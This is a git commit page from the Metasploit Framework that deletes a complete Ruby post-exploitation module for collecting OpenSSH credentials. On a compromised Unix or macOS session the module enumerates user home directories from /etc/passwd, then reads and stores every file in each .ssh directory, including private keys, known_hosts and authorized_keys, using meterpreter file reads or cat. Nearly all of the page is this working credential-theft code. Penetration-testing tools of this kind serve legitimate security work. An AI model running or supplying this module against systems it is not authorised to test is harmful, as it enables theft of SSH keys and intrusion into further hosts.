Needs more work removing for now
git-svn-id: file:///home/svn/framework3/trunk@12630 4d416f70-5f16-0410-b530-b9f4589650daunstable
Carlos Perez
parent
bf6cab2644
commit
71dc6ba9d9
|
|
@ -1,207 +0,0 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info(info,
|
||||
'Name' => 'Multi Gather OpenSSH PKI Credentials Collection',
|
||||
'Description' => %q{
|
||||
This module will collect the contents of user's .ssh directory on the targetted
|
||||
machine. Additionally, known_hosts and authorized_keys and any other files are also
|
||||
downloaded.
|
||||
|
||||
This module is largely based on firefox_creds.rb due to my lack of talent in ruby.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Jim Halfpenny'],
|
||||
'Version' => '$Revision',
|
||||
'Platform' => ['linux', 'bsd', 'unix', 'osx'],
|
||||
'SessionTypes' => ['meterpreter', 'shell' ]
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Determining session platform and type...")
|
||||
case session.platform
|
||||
when /unix|linux|bsd/
|
||||
@platform = :unix
|
||||
paths = enum_users_unix
|
||||
when /osx/
|
||||
@platform = :osx
|
||||
paths = enum_users_osx
|
||||
else
|
||||
print_error("")
|
||||
print_error("Unsupported platform #{session.platform}")
|
||||
return
|
||||
end
|
||||
if paths.nil?
|
||||
print_error("No users found with a .ssh directory")
|
||||
return
|
||||
end
|
||||
|
||||
download_loot(paths)
|
||||
end
|
||||
|
||||
def enum_users_unix
|
||||
id = whoami
|
||||
if id.empty? or id.nil?
|
||||
print_error("This session is not responding, perhaps the session is dead")
|
||||
end
|
||||
|
||||
if got_root?
|
||||
# Parse /etc/passwd to get all user directories and remove duplicates
|
||||
userdirs = session.shell_command("cut -d: -f 6 /etc/passwd | sort | uniq").gsub(/\s/, "\n")
|
||||
else
|
||||
print_status("We do not have root privileges")
|
||||
print_status("Checking #{id} account for .ssh directory")
|
||||
ssh = session.shell_command("grep ^#{id}: /etc/passwd | cut -d: -f 6")
|
||||
|
||||
ssh.each_line do |sshfile|
|
||||
sshfile.chomp!
|
||||
stat = session.shell_command("ls -d #{sshfile}/.ssh")
|
||||
next if stat =~ /No such file/i
|
||||
|
||||
print_status("Found .ssh directory for: #{id}")
|
||||
print_status("stat = #{stat}")
|
||||
return stat
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
# we got root check all user dirs
|
||||
paths = []
|
||||
userdirs.each_line do |dir|
|
||||
dir.chomp!
|
||||
next if dir == "." || dir == ".."
|
||||
|
||||
dir = dir + "/.ssh"
|
||||
|
||||
print_status("Checking for OpenSSH profile in: #{dir}")
|
||||
|
||||
stat = session.shell_command("ls #{dir}")
|
||||
if stat =~ /No such file/i
|
||||
print_error("OpenSSH profile not found in #{dir}")
|
||||
next
|
||||
end
|
||||
paths << "#{dir}"
|
||||
end
|
||||
return paths
|
||||
end
|
||||
|
||||
def enum_users_osx
|
||||
id = whoami
|
||||
if id.empty? or id.nil?
|
||||
print_error("This session is not responding, perhaps the session is dead")
|
||||
end
|
||||
|
||||
home = "/Users/"
|
||||
if got_root?
|
||||
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
|
||||
userdirs << "/var/root\n"
|
||||
else
|
||||
print_status("We do not have root privileges")
|
||||
print_status("Checking #{id} account for .ssh directory")
|
||||
ssh = session.shell_command("ls -d #{home}#{id}/.ssh")
|
||||
|
||||
ssh.each_line do |sshfile|
|
||||
sshfile.chomp!
|
||||
next if sshfile =~ /No such file/i
|
||||
|
||||
print_status("Found .ssh directory for: #{id}")
|
||||
return sshfile
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
# we got root check all user dirs
|
||||
paths = []
|
||||
userdirs.each_line do |dir|
|
||||
dir.chomp!
|
||||
next if dir == "." || dir == ".."
|
||||
|
||||
dir = dir + "/.ssh"
|
||||
|
||||
print_status("Checking for OpenSSH profile in: #{dir}")
|
||||
|
||||
stat = session.shell_command("ls #{dir}")
|
||||
if stat =~ /No such file/i
|
||||
print_error("OpenSSH profile not found in #{dir}")
|
||||
next
|
||||
end
|
||||
paths << "#{dir}"
|
||||
end
|
||||
return paths
|
||||
end
|
||||
|
||||
def download_loot(paths)
|
||||
loot = ""
|
||||
paths.each do |path|
|
||||
path.chomp!
|
||||
if session.type == "meterpreter"
|
||||
session.fs.dir.foreach(path) do |file|
|
||||
print_good("Downloading #{file} file from: #{path}")
|
||||
file = path + "\\" + file
|
||||
fd = session.fs.file.new(file)
|
||||
begin
|
||||
until fd.eof?
|
||||
loot << fd.read
|
||||
end
|
||||
rescue EOFError
|
||||
ensure
|
||||
fd.close
|
||||
end
|
||||
|
||||
file = file.split('\\').last
|
||||
store_loot("ssh.#{file}", "text/plain", session, loot, "ssh_#{file}", "OpenSSH #{file} File")
|
||||
end
|
||||
end
|
||||
if session.type != "meterpreter"
|
||||
files = session.shell_command("ls #{path}").gsub(/\s/, "\n")
|
||||
files.each_line do |file|
|
||||
file.chomp!
|
||||
print_good("Downloading #{path}/#{file}")
|
||||
data = session.shell_command("cat #{path}/#{file}")
|
||||
file = file.split('/').last
|
||||
store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def got_root?
|
||||
case @platform
|
||||
when :windows
|
||||
if session.sys.config.getuid =~ /SYSTEM/
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
else # unix, bsd, linux, osx
|
||||
ret = whoami
|
||||
if ret =~ /root/
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def whoami
|
||||
return session.shell_command("whoami").chomp
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue